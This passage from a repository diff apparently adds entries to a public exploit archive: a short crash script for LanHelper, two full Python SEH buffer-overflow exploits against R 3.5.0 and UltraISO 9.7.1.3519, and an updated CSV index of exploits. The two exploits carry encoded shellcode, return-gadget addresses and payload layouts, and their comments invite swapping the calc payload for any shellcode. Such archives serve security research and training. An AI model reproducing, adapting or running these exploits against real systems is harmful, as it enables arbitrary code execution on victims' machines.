O 0 LastErr ERROR_IO_PENDING (000003E5)
|
||||
EFL 00010206 (NO,NB,NE,A,NS,PE,GE,G)
|
||||
ST0 empty
|
||||
ST1 empty
|
||||
ST2 empty
|
||||
ST3 empty
|
||||
ST4 empty
|
||||
ST5 empty
|
||||
ST6 empty
|
||||
ST7 empty
|
||||
3 2 1 0 E S P U O Z D I
|
||||
FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT)
|
||||
FCW 1372 Prec NEAR,64 Mask 1 1 0 0 1 0
|
||||
|
||||
'''
|
||||
|
||||
#!/usr/bin/env python
|
||||
|
||||
crash = "\x41" * 6000
|
||||
f = open ("LanHelper_Crash.txt", "w")
|
||||
f.write(crash)
|
||||
f.close()
|
51
exploits/windows/local/46288.py
Executable file
51
exploits/windows/local/46288.py
Executable file
|
@ -0,0 +1,51 @@
|
|||
#!/usr/bin/python
|
||||
# Exploit Title: R i386 3.5.0 - Local Buffer Overflow (SEH)
|
||||
# Date: 30/01/2019
|
||||
# Exploit Author: Dino Covotsos - Telspace Systems
|
||||
# Vendor Homepage: https://www.r-project.org/
|
||||
# Version: 3.5.0
|
||||
# Software Link: https://cran.r-project.org/bin/windows/base/old/3.5.0/R-3.5.0-win.exe
|
||||
# Contact: services[@]telspace.co.za
|
||||
# Twitter: @telspacesystems (Greets to the Telspace Crew)
|
||||
# Version: 3.5.0
|
||||
# Tested on: Windows XP Prof SP3 ENG x86
|
||||
# Note: SEH exploitation method (SEH + DEP Bypass exploit for Windows 7 x86 by Bzyo available on exploit-db)
|
||||
# CVE: TBC from Mitre
|
||||
# Created in preparation for OSCE - DC - Telspace Systems
|
||||
# PoC:
|
||||
# 1.) Generate exploit.txt, copy the contents to clipboard
|
||||
# 2.) In the application, open 'Edit' then 'Gui Preferences'
|
||||
# 3.) Paste the contents of exploit.txt under 'Language for menus and messages'
|
||||
# 4.) Click OK - Calc POPS (or change shellcode to whatever you require, take note of badchars!)
|
||||
|
||||
#PPR Information
|
||||
#Message= 0x6cb99185 : pop ebx # pop esi # ret 0x08 | {PAGE_EXECUTE_READ} [R.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v3.5.0
|
||||
|
||||
#msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -e x86/shikata_ga_nai -b "\x00\x0a\x0d\x1a\x7d" -f c
|
||||
shellcode = ("\xd9\xc6\xb8\x06\x7f\x92\x78\xd9\x74\x24\xf4\x5b\x29\xc9\xb1"
|
||||
"\x31\x83\xc3\x04\x31\x43\x14\x03\x43\x12\x9d\x67\x84\xf2\xe3"
|
||||
"\x88\x75\x02\x84\x01\x90\x33\x84\x76\xd0\x63\x34\xfc\xb4\x8f"
|
||||
"\xbf\x50\x2d\x04\xcd\x7c\x42\xad\x78\x5b\x6d\x2e\xd0\x9f\xec"
|
||||
"\xac\x2b\xcc\xce\x8d\xe3\x01\x0e\xca\x1e\xeb\x42\x83\x55\x5e"
|
||||
"\x73\xa0\x20\x63\xf8\xfa\xa5\xe3\x1d\x4a\xc7\xc2\xb3\xc1\x9e"
|
||||
"\xc4\x32\x06\xab\x4c\x2d\x4b\x96\x07\xc6\xbf\x6c\x96\x0e\x8e"
|
||||
"\x8d\x35\x6f\x3f\x7c\x47\xb7\x87\x9f\x32\xc1\xf4\x22\x45\x16"
|
||||
"\x87\xf8\xc0\x8d\x2f\x8a\x73\x6a\xce\x5f\xe5\xf9\xdc\x14\x61"
|
||||
"\xa5\xc0\xab\xa6\xdd\xfc\x20\x49\x32\x75\x72\x6e\x96\xde\x20"
|
||||
"\x0f\x8f\xba\x87\x30\xcf\x65\x77\x95\x9b\x8b\x6c\xa4\xc1\xc1"
|
||||
"\x73\x3a\x7c\xa7\x74\x44\x7f\x97\x1c\x75\xf4\x78\x5a\x8a\xdf"
|
||||
"\x3d\x94\xc0\x42\x17\x3d\x8d\x16\x2a\x20\x2e\xcd\x68\x5d\xad"
|
||||
"\xe4\x10\x9a\xad\x8c\x15\xe6\x69\x7c\x67\x77\x1c\x82\xd4\x78"
|
||||
"\x35\xe1\xbb\xea\xd5\xc8\x5e\x8b\x7c\x15")
|
||||
|
||||
buffer = "A" * 884 + "\xEB\x09\x90\x90" + "\x85\x91\xb9\x6c" + "\x90" * 20 + shellcode + "D" * 8868
|
||||
|
||||
payload = buffer
|
||||
try:
|
||||
f=open("exploit.txt","w")
|
||||
print "[+] Creating %s bytes evil payload.." %len(payload)
|
||||
f.write(payload)
|
||||
f.close()
|
||||
print "[+] File created!"
|
||||
except:
|
||||
print "File cannot be created"
|
51
exploits/windows/local/46290.py
Executable file
51
exploits/windows/local/46290.py
Executable file
|
@ -0,0 +1,51 @@
|
|||
#!/usr/bin/python
|
||||
# Exploit Title: UltraISO 9.7.1.3519 - Local Buffer Overflow (SEH)
|
||||
# Date: 30/01/2019
|
||||
# Exploit Author: Dino Covotsos - Telspace Systems
|
||||
# Vendor Homepage: https://www.ultraiso.com/
|
||||
# Version: 9.7.1.3519
|
||||
# Software Link: https://www.ultraiso.com/download.html
|
||||
# Contact: services[@]telspace.co.za
|
||||
# Twitter: @telspacesystems (Greets to the Telspace Crew)
|
||||
# Tested on: Windows XP Prof SP3 ENG x86
|
||||
# CVE: TBC from Mitre
|
||||
# Thanks to Francisco Ramirez for the original Windows 10 x64 DOS.
|
||||
# Created in preparation for OSCE - DC - Telspace Systems
|
||||
# PoC:
|
||||
# 1.) Generate exploit.txt, copy the content to clipboard
|
||||
# 2.) In the application, click "Make CD/DVD Image"
|
||||
# 3.) Paste the contents of exploit.txt under 'Output FileName'
|
||||
# 4.) Click OK - Calc POPS (or change shellcode to whatever you require, take note of badchars!)
|
||||
|
||||
#0x72d1170b : pop esi # pop ebx # ret 0x04 | {PAGE_EXECUTE_READ} [msacm32.drv] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v5.1.2600.0
|
||||
#NSEH - JMP 0012ED66 (\xEB\x08)
|
||||
|
||||
#msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -e x86/shikata_ga_nai -b "\x00\x0a\x0d\x3a" -f c
|
||||
|
||||
shellcode = ("\xda\xc0\xd9\x74\x24\xf4\xbf\x67\xdc\x50\x39\x5d\x2b\xc9\xb1"
|
||||
"\x31\x83\xc5\x04\x31\x7d\x14\x03\x7d\x73\x3e\xa5\xc5\x93\x3c"
|
||||
"\x46\x36\x63\x21\xce\xd3\x52\x61\xb4\x90\xc4\x51\xbe\xf5\xe8"
|
||||
"\x1a\x92\xed\x7b\x6e\x3b\x01\xcc\xc5\x1d\x2c\xcd\x76\x5d\x2f"
|
||||
"\x4d\x85\xb2\x8f\x6c\x46\xc7\xce\xa9\xbb\x2a\x82\x62\xb7\x99"
|
||||
"\x33\x07\x8d\x21\xbf\x5b\x03\x22\x5c\x2b\x22\x03\xf3\x20\x7d"
|
||||
"\x83\xf5\xe5\xf5\x8a\xed\xea\x30\x44\x85\xd8\xcf\x57\x4f\x11"
|
||||
"\x2f\xfb\xae\x9e\xc2\x05\xf6\x18\x3d\x70\x0e\x5b\xc0\x83\xd5"
|
||||
"\x26\x1e\x01\xce\x80\xd5\xb1\x2a\x31\x39\x27\xb8\x3d\xf6\x23"
|
||||
"\xe6\x21\x09\xe7\x9c\x5d\x82\x06\x73\xd4\xd0\x2c\x57\xbd\x83"
|
||||
"\x4d\xce\x1b\x65\x71\x10\xc4\xda\xd7\x5a\xe8\x0f\x6a\x01\x66"
|
||||
"\xd1\xf8\x3f\xc4\xd1\x02\x40\x78\xba\x33\xcb\x17\xbd\xcb\x1e"
|
||||
"\x5c\x31\x86\x03\xf4\xda\x4f\xd6\x45\x87\x6f\x0c\x89\xbe\xf3"
|
||||
"\xa5\x71\x45\xeb\xcf\x74\x01\xab\x3c\x04\x1a\x5e\x43\xbb\x1b"
|
||||
"\x4b\x20\x5a\x88\x17\x89\xf9\x28\xbd\xd5")
|
||||
|
||||
buffer = "A" * 304 + "\xEB\x08\x90\x90" + "\x0b\x17\xd1\x72" + "\x90" * 20 + shellcode + "D" * 9448
|
||||
|
||||
payload = buffer
|
||||
try:
|
||||
f=open("exploit.txt","w")
|
||||
print "[+] Creating %s bytes evil payload.." %len(payload)
|
||||
f.write(payload)
|
||||
f.close()
|
||||
print "[+] File created!"
|
||||
except:
|
||||
print "File cannot be created"
|
|
@ -6280,6 +6280,17 @@ id,file,description,date,author,type,platform,port
|
|||
46285,exploits/multiple/dos/46285.c,"iOS/macOS 10.13.6 - 'if_ports_used_update_wakeuuid()' 16-byte Uninitialized Kernel Stack Disclosure",2019-01-30,"Google Security Research",dos,multiple,
|
||||
46286,exploits/windows/dos/46286.py,"IP-Tools 2.50 - Denial of Service SEH Overwrite (PoC)",2019-01-30,"Rafael Pedrero",dos,windows,
|
||||
46287,exploits/windows/dos/46287.py,"Necrosoft DIG 0.4 - Denial of Service SEH Overwrite (PoC)",2019-01-30,"Rafael Pedrero",dos,windows,
|
||||
46289,exploits/windows/dos/46289.py,"Anyburn 4.3 - 'Convert image to file format' Denial of Service",2019-01-31,"Dino Covotsos",dos,windows,
|
||||
46291,exploits/windows/dos/46291.py,"Advanced Host Monitor 11.90 Beta - 'Registration number' Denial of Service (PoC)",2019-01-31,"Luis Martínez",dos,windows,
|
||||
46292,exploits/windows/dos/46292.py,"AMAC Address Change 5.4 - Denial of Service (PoC)",2019-01-31,"Rafael Pedrero",dos,windows,
|
||||
46293,exploits/windows/dos/46293.py,"ASPRunner Professional 6.0.766 - Denial of Service (PoC)",2019-01-31,"Rafael Pedrero",dos,windows,
|
||||
46294,exploits/windows/dos/46294.py,"FlexHEX 2.46 - Denial of Service SEH Overwrite (PoC)",2019-01-31,"Rafael Pedrero",dos,windows,
|
||||
46295,exploits/windows/dos/46295.py,"LanHelper 1.74 - Denial of Service (PoC)",2019-01-31,"Rafael Pedrero",dos,windows,
|
||||
46296,exploits/macos/dos/46296.c,"macOS XNU - Copy-on-Write Behaviour Bypass via Partial-Page Truncation of File",2019-01-31,"Google Security Research",dos,macos,
|
||||
46297,exploits/multiple/dos/46297.c,"macOS < 10.14.3 / iOS < 12.1.3 - Arbitrary mach Port Name Deallocation in XPC Services due to Invalid mach Message Parsing in _xpc_serializer_unpack",2019-01-31,"Google Security Research",dos,multiple,
|
||||
46298,exploits/multiple/dos/46298.c,"macOS < 10.14.3 / iOS < 12.1.3 - Sandbox Escapes due to Type Confusions and Memory Safety Issues in iohideventsystem",2019-01-31,"Google Security Research",dos,multiple,
|
||||
46299,exploits/multiple/dos/46299.c,"macOS < 10.14.3 / iOS < 12.1.3 XNU - 'vm_map_copy' Optimization which Requires Atomicity isn't Atomic",2019-01-31,"Google Security Research",dos,multiple,
|
||||
46300,exploits/multiple/dos/46300.c,"macOS < 10.14.3 / iOS < 12.1.3 - Kernel Heap Overflow in PF_KEY due to Lack of Bounds Checking when Retrieving Statistics",2019-01-31,"Google Security Research",dos,multiple,
|
||||
3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux,
|
||||
4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris,
|
||||
12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux,
|
||||
|
@ -10257,7 +10268,9 @@ id,file,description,date,author,type,platform,port
|
|||
46267,exploits/windows/local/46267.py,"BEWARD Intercom 2.3.1 - Credentials Disclosure",2019-01-28,LiquidWorm,local,windows,
|
||||
46269,exploits/windows/local/46269.py,"Faleemi Desktop Software 1.8 - Local Buffer Overflow (SEH) (DEP Bypass)",2019-01-28,bzyo,local,windows,
|
||||
46279,exploits/windows/local/46279.py,"HTML5 Video Player 1.2.5 - Local Buffer Overflow (Non SEH)",2019-01-29,"Dino Covotsos",local,windows,
|
||||
46283,exploits/windows/local/46283.py,"10-Strike Network Inventory Explorer 8.54 - Local Buffer Overflow (SEH)(DEP Bypass)",2019-01-30,bzyo,local,windows,
|
||||
46283,exploits/windows/local/46283.py,"10-Strike Network Inventory Explorer 8.54 - Local Buffer Overflow (SEH) (DEP Bypass)",2019-01-30,bzyo,local,windows,
|
||||
46288,exploits/windows/local/46288.py,"R 3.5.0 - Local Buffer Overflow (SEH)",2019-01-31,"Dino Covotsos",local,windows,
|
||||
46290,exploits/windows/local/46290.py,"UltraISO 9.7.1.3519 - 'Output FileName' Local Buffer Overflow (SEH)",2019-01-31,"Dino Covotsos",local,windows,
|
||||
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
|
||||
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
|
||||
5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
|
||||
|
|
Can't render this file because it is too large.
|
Loading…
Add table
Reference in a new issue